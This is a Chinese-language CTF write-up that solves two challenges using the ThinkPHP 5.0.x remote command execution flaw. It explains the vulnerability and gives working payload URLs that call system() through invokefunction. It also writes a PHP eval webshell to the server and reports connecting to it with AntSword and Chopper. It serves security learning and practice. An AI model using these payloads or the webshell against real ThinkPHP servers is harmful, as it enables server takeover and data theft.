[BJDCTF 2nd]old-hack(5.0.23)
進入之後:
![](https://img.laitimes.com/img/__Qf2AjLwojIjJCLyojI0JCLiAzNfRHLGZkRGZkRfJ3bs92YsYTMfVmepNHL4dmaNhXSU5UMRpHW4Z0MMBjVtJWd0ckW65UbM5WOHJWa5kHT20ESjBjUIF2X0hXZ0xCMx81dvRWYoNHLrdEZwZ1Rh5WNXp1bwNjW1ZUba9VZwlHdssmch1mclRXY39CXldWYtlWPzNXZj9mcw1ycz9WL49zZuBnL1UzMyQjMwkTMzATNwAjMwIzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
打開頁面,頁面提示powered by Thinkphp。說明可能和thinkphp架構有關。也确實如此,這裡用到了thinkphp5的遠端指令執行漏洞。
Thinkphp5遠端指令執行漏洞
漏洞描述:由于thinkphp對架構中的核心Requests類的method方法提供了表單請求僞造,該功能利用
$_POST['_method']
來傳遞真實的請求方法。但由于架構沒有對參數進行驗證,導緻攻擊者可以設定
$_POST['_method']='__construct'
而讓該類的變量被覆寫。攻擊者利用該方式将filter變量覆寫為system等函數名,當内部進行參數過濾時便會進行執行任意指令。
像這種題,知道了是哪個版本的話就搜一搜(https://www.exploit-db.com/)就能找到與之配套的payload,也可以用kali的searchsploit。
想辦法構造一個ThinkPHP的報錯看一下詳細版本:
http://a504dd5e-6b7c-407f-ab11-ee1c9efdc3f3.node3.buuoj.cn/index.php?s=1
或
http://a504dd5e-6b7c-407f-ab11-ee1c9efdc3f3.node3.buuoj.cn/index.php?s=captcha
Thinkphp架構有s參數可以加載子產品,随便加點什麼,發現開了debug模式,其中可以看到Thinkphp的版本。
該版本為5.0.23
使用kali searchsploit查找一下漏洞的利用方法:
searchsploit thinkphp
查找thinkphp相關的漏洞
發現最後一個是thinkphp5.X版本的遠端指令執行漏洞,我們進入該漏洞的檔案46150.txt:
打開後顯示了thinkphp5.X版本所有版本的遠端指令執行漏洞的利用方法
我們找到5.0.23版本的:
利用方法是用POST傳參,我們用下面那個完整版的。
我們構造一個payload檢視一下根目錄的内容:
發現了flag檔案,把ls /換成cat /flag,獲得最後的flag
參考:https://blog.csdn.net/zydbk123456/article/details/105774002
寫入webshell木馬:
通路apple.php,顯示php代碼就成功了:
可見成功了,我們連蟻劍:
成功。
連菜刀:
成功。
攻防世界-php_rce
進入題目:
Thinkphp5遠端指令執行漏洞。先報錯看一下版本
http://124.126.19.106:57941/index.php?s=1
或
http://124.126.19.106:57941/index.php?s=captcha
版本為5.0.20。
ThinkPHP官方2018年12月9日釋出重要的安全更新,修複了一個嚴重的遠端代碼執行漏洞。該更新主要涉及一個安全更新,由于架構對控制器名沒有進行足夠的檢測會導緻在沒有開啟強制路由的情況下可能的getshell漏洞,受影響的版本包括5.0和5.1版本,推薦盡快更新到最新版本。
影響範圍
5.x < 5.1.31, <= 5.0.23
在修複之前程式未對控制器進行過濾,導緻攻擊者可以通過引入\符号來調用任意類方法
我們在kali searchsploit查找一下該版本漏洞的利用方法(5.0.21和5.0.22都适用):
漏洞利用
1.利用system函數遠端指令執行
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]
=system&vars[1][]=whoami
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
2.通過phpinfo函數寫出phpinfo()的資訊
3.寫入webshell木馬:
index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo '<?php highlight_file(__FILE__); @eval($_POST["apple"]);?>' > apple.php
通路apple.php能顯示php代碼就成功了:
試試:
直接連接配接蟻劍,(菜刀連不上)
附錄:
别的版本的Thinkphp5遠端指令執行漏洞利用也是這個思路。